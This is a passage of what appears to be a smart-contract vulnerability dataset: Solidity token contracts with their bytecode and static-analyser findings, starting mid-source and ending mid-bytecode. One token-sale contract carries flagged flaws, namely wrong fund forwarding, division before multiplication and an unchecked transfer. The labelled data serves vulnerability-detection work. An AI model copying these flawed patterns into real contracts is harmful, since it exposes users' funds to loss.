Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { uint receiverCount = _receivers.length; uint256 amount = _value.mul(uint256(receiverCount)); /* require(receiverCount > 0 && receiverCount <= 20); */ require(receiverCount > 0); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < receiverCount; i++) { balances[_receivers[i]] = balances[_receivers[i]].add(_value); Transfer(msg.sender, _receivers[i], _value); } return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract Platinum_Core_Finance is CappedToken, PausableToken, BurnableToken { string public constant name = "Platinum Core Finance"; string public constant symbol = "PCOF"; uint8 public constant decimals = 18; uint256 private constant TOKEN_CAP = 15000* (10 ** uint256(decimals)); uint256 private constant TOKEN_INITIAL = 15000 * (10 ** uint256(decimals)); function Platinum_Core_Finance() public CappedToken(TOKEN_CAP) { totalSupply_ = TOKEN_INITIAL; balances[msg.sender] = TOKEN_INITIAL; emit Transfer(address(0), msg.sender, TOKEN_INITIAL); paused = false; } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012c57806306fdde0314610155578063095ea7b3146101df57806318160ddd1461020357806323b872dd1461022a578063313ce56714610254578063355274ea1461027f5780633f4ba83a1461029457806340c10f19146102ab57806342966c68146102cf5780635c975abb146102e757806366188463146102fc57806370a08231146103205780637d64bcb41461034157806383f12fec146103565780638456cb59146103ad5780638da5cb5b146103c257806395d89b41146103f3578063a9059cbb14610408578063d73dd6231461042c578063dd62ed3e14610450578063f2fde38b14610477575b600080fd5b34801561013857600080fd5b50610141610498565b604080519115158252519081900360200190f35b34801561016157600080fd5b5061016a6104a8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a457818101518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101eb57600080fd5b50610141600160a060020a03600435166024356104df565b34801561020f57600080fd5b50610218610503565b60408051918252519081900360200190f35b34801561023657600080fd5b50610141600160a060020a0360043581169060243516604435610509565b34801561026057600080fd5b5061026961052f565b6040805160ff9092168252519081900360200190f35b34801561028b57600080fd5b50610218610534565b3480156102a057600080fd5b506102a961053a565b005b3480156102b757600080fd5b50610141600160a060020a0360043516602435610597565b3480156102db57600080fd5b506102a96004356105f3565b3480156102f357600080fd5b506101416106d1565b34801561030857600080fd5b50610141600160a060020a03600435166024356106da565b34801561032c57600080fd5b50610218600160a060020a03600435166106f7565b34801561034d57600080fd5b50610141610712565b34801561036257600080fd5b50604080516020600480358082013583810280860185019096528085526101419536959394602494938501929182918501908490808284375094975050933594506107969350505050565b3480156103b957600080fd5b506102a9610916565b3480156103ce57600080fd5b506103d7610975565b60408051600160a060020a039092168252519081900360200190f35b3480156103ff57600080fd5b5061016a610984565b34801561041457600080fd5b50610141600160a060020a03600435166024356109bb565b34801561043857600080fd5b50610141600160a060020a03600435166024356109d8565b34801561045c57600080fd5b50610218600160a060020a03600435811690602435166109f5565b34801561048357600080fd5b506102a9600160a060020a0360043516610a20565b60035460a060020a900460ff1681565b60408051808201909152601581527f506c6174696e756d20436f72652046696e616e63650000000000000000000000602082015281565b60055460009060ff16156104f257600080fd5b6104fc8383610a72565b9392505050565b60015490565b60055460009060ff161561051c57600080fd5b610527848484610ad8565b949350505050565b601281565b60045481565b600354600160a060020a0316331461055157600080fd5b60055460ff16151561056257600080fd5b6005805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a031633146105b157600080fd5b60035460a060020a900460ff16156105c857600080fd5b6004546001546105de908463ffffffff610c3d16565b11156105e957600080fd5b6104fc8383610c57565b3360009081526020819052604081205482111561060f57600080fd5b5033600081815260208190526040902054610630908363ffffffff610d4f16565b600160a060020a03821660009081526020819052604090205560015461065c908363ffffffff610d4f16565b600155604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a03841691600080516020610fe58339815191529181900360200190a35050565b60055460ff1681565b60055460009060ff16156106ed57600080fd5b6104fc8383610d61565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a0316331461072c57600080fd5b60035460a060020a900460ff161561074357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b60055460009081908190819060ff16156107af57600080fd5b855192506107c3858463ffffffff610e5116565b9150600083116107d257600080fd5b6000851180156107f15750336000908152602081905260409020548211155b15156107fc57600080fd5b3360009081526020819052604090205461081c908363ffffffff610d4f16565b3360009081526020819052604081209190915590505b8281101561090a5761087e85600080898581518110151561084f57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610c3d16565b600080888481518110151561088f57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205585518690829081106108c057fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020610fe5833981519152876040518082815260200191505060405180910390a3600101610832565b50600195945050505050565b600354600160a060020a0316331461092d57600080fd5b60055460ff161561093d57600080fd5b6005805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600481527f50434f4600000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff16156109ce57600080fd5b6104fc8383610e7c565b60055460009060ff16156109eb57600080fd5b6104fc8383610f4b565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a3757600080fd5b600160a060020a03811615610a6f576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610aef57600080fd5b600160a060020a038416600090815260208190526040902054821115610b1457600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610b4457600080fd5b600160a060020a038416600090815260208190526040902054610b6d908363ffffffff610d4f16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610ba2908363ffffffff610c3d16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610be4908363ffffffff610d4f16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610fe5833981519152929181900390910190a35060019392505050565b600082820183811015610c4c57fe5b8091505b5092915050565b600354600090600160a060020a03163314610c7157600080fd5b60035460a060020a900460ff1615610c8857600080fd5b600154610c9b908363ffffffff610c3d16565b600155600160a060020a038316600090815260208190526040902054610cc7908363ffffffff610c3d16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020610fe58339815191529181900360200190a350600192915050565b600082821115610d5b57fe5b50900390565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610db657336000908152600260209081526040808320600160a060020a0388168452909152812055610deb565b610dc6818463ffffffff610d4f16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600080831515610e645760009150610c50565b50828202828482811515610e7457fe5b0414610c4c57fe5b6000600160a060020a0383161515610e9357600080fd5b33600090815260208190526040902054821115610eaf57600080fd5b33600090815260208190526040902054610ecf908363ffffffff610d4f16565b3360009081526020819052604080822092909255600160a060020a03851681522054610f01908363ffffffff610c3d16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610fe58339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610f7f908363ffffffff610c3d16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820633af7dd1fa6989cd8ab1f4ee972ecc6d4adfc20a340ec8035281787211e7d5a0029
{"success": true, "error": null, "results": {}}
474
0xc2287943e82806ce7688b336e42fed9f542b7a16
//SPDX-License-Identifier: MIT pragma solidity ^0.7.6; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () public { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract Ownable { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner() { if (msg.sender == owner) _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) internal _balances; mapping (address => mapping (address => uint)) internal _allowances; uint internal _totalSupply; function totalSupply() public view override returns (uint) { return _totalSupply; } function balanceOf(address account) public view override returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is ERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public{ _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } contract PriceConsumerV3 { AggregatorV3Interface internal priceFeed; constructor() public { // Mainnet address : 0xEe9F2375b4bdF6387aa8265dD4FB8F16512A1d46 //Kovan test netwoek: 0x0bF499444525a23E7Bb61997539725cA2e928138 priceFeed = AggregatorV3Interface(0xEe9F2375b4bdF6387aa8265dD4FB8F16512A1d46); } /** * Returns the latest price */ function getLatestPrice() public view returns (int) { ( uint80 roundID, int price, uint startedAt, uint timeStamp, uint80 answeredInRound ) = priceFeed.latestRoundData(); return price; } } contract SS is ERC20, ERC20Detailed, PriceConsumerV3{ using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; constructor () ERC20Detailed("SS Token", "SS", 18) PriceConsumerV3() public{ _totalSupply = 5000000000 * (10**uint256(18)) ; _balances[msg.sender] = _totalSupply; } } contract tokenSale is Ownable, PriceConsumerV3{ using SafeMath for uint256; // The token being sold ERC20 public token; address public _owner = msg.sender; address payable wallet; constructor(ERC20 _token) public { require(address(_token) != address(0)); wallet = msg.sender; token = _token; } fallback () payable external{ buy(msg.sender); } receive() payable external { buy(msg.sender); } uint256 public weiUSD; uint256 public amountOfTokens; function _forwardFunds(uint256 _weiUSD) internal { wallet.transfer(_weiUSD); } function buy(address beneficiary) payable public { require(msg.value > 0 ether," No value transfered"); weiUSD = (uint256)(getLatestPrice()); require(weiUSD != 0, " No exchange value returned. Try again"); uint256 unitPrice = msg.value.div(weiUSD); amountOfTokens = unitPrice * uint256(10**18); //1 SS token * USDC amount of Value _forwardFunds(weiUSD); token.transfer(beneficiary, amountOfTokens); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102105780638e15f4731461023657806395d89b411461023e578063a457c2d714610246578063a9059cbb14610272578063dd62ed3e1461029e576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806339509351146101e4575b600080fd5b6100c16102cc565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b038135169060200135610362565b604080519115158252519081900360200190f35b61017e61037f565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b03813581169160208101359091169060400135610385565b6101ce61040c565b6040805160ff9092168252519081900360200190f35b610162600480360360408110156101fa57600080fd5b506001600160a01b038135169060200135610415565b61017e6004803603602081101561022657600080fd5b50356001600160a01b0316610463565b61017e61047e565b6100c161050e565b6101626004803603604081101561025c57600080fd5b506001600160a01b03813516906020013561056f565b6101626004803603604081101561028857600080fd5b506001600160a01b0381351690602001356105d7565b61017e600480360360408110156102b457600080fd5b506001600160a01b03813581169160200135166105eb565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061037661036f610616565b848461061a565b50600192915050565b60025490565b6000610392848484610706565b6104028461039e610616565b6103fd856040518060600160405280602881526020016109ba602891396001600160a01b038a166000908152600160205260408120906103dc610616565b6001600160a01b031681526020810191909152604001600020549190610856565b61061a565b5060019392505050565b60055460ff1690565b6000610376610422610616565b846103fd8560016000610433610616565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906108ed565b6001600160a01b031660009081526020819052604090205490565b600080600080600080600560019054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b1580156104d557600080fd5b505afa1580156104e9573d6000803e3d6000fd5b505050506040513d60a08110156104ff57600080fd5b50602001519550505050505090565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103585780601f1061032d57610100808354040283529160200191610358565b600061037661057c610616565b846103fd85604051806060016040528060258152602001610a2b60259139600160006105a6610616565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610856565b60006103766105e4610616565b8484610706565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661065f5760405162461bcd60e51b8152600401808060200182810382526024815260200180610a076024913960400191505060405180910390fd5b6001600160a01b0382166106a45760405162461bcd60e51b81526004018080602001828103825260228152602001806109726022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661074b5760405162461bcd60e51b81526004018080602001828103825260258152602001806109e26025913960400191505060405180910390fd5b6001600160a01b0382166107905760405162461bcd60e51b815260040180806020018281038252602381526020018061094f6023913960400191505060405180910390fd5b6107cd81604051806060016040528060268152602001610994602691396001600160a01b0386166000908152602081905260409020549190610856565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546107fc90826108ed565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156108e55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108aa578181015183820152602001610892565b50505050905090810190601f1680156108d75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610947576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122047bae209ddbb753b84117f3ff5aa2d36c0d4bc5d87cc71c566782f827fd351f064736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
475
0x55dab76c74cce8fc64b9f7de91afdfb76eaef7b3
pragma solidity 0.4.20; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract FaceterToken is Ownable, BurnableToken, StandardToken { string public constant name = "TEST1101 Token"; string public constant symbol = "TEST1101"; uint8 public constant decimals = 18; bool public paused = true; mapping(address => bool) public whitelist; modifier whenNotPaused() { require(!paused || whitelist[msg.sender]); _; } function FaceterToken(address holder, address buffer) public { Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals)); addToWhitelist(holder); addToWhitelist(buffer); } function unpause() public onlyOwner { paused = false; } function addToWhitelist(address addr) public onlyOwner { whitelist[addr] = true; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } }
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461018f57806318160ddd146101e957806323b872dd14610212578063313ce5671461028b5780633f4ba83a146102ba57806342966c68146102cf5780635c975abb146102f2578063661884631461031f57806370a08231146103795780638da5cb5b146103c657806395d89b411461041b5780639b19251a146104a9578063a9059cbb146104fa578063d73dd62314610554578063dd62ed3e146105ae578063e43252d71461061a578063f2fde38b14610653575b600080fd5b341561010c57600080fd5b61011461068c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610154578082015181840152602081019050610139565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101cf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106c5565b604051808215151515815260200191505060405180910390f35b34156101f457600080fd5b6101fc6107b7565b6040518082815260200191505060405180910390f35b341561021d57600080fd5b610271600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107c1565b604051808215151515815260200191505060405180910390f35b341561029657600080fd5b61029e610847565b604051808260ff1660ff16815260200191505060405180910390f35b34156102c557600080fd5b6102cd61084c565b005b34156102da57600080fd5b6102f060048080359060200190919050506108c4565b005b34156102fd57600080fd5b610305610a7f565b604051808215151515815260200191505060405180910390f35b341561032a57600080fd5b61035f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a92565b604051808215151515815260200191505060405180910390f35b341561038457600080fd5b6103b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d23565b6040518082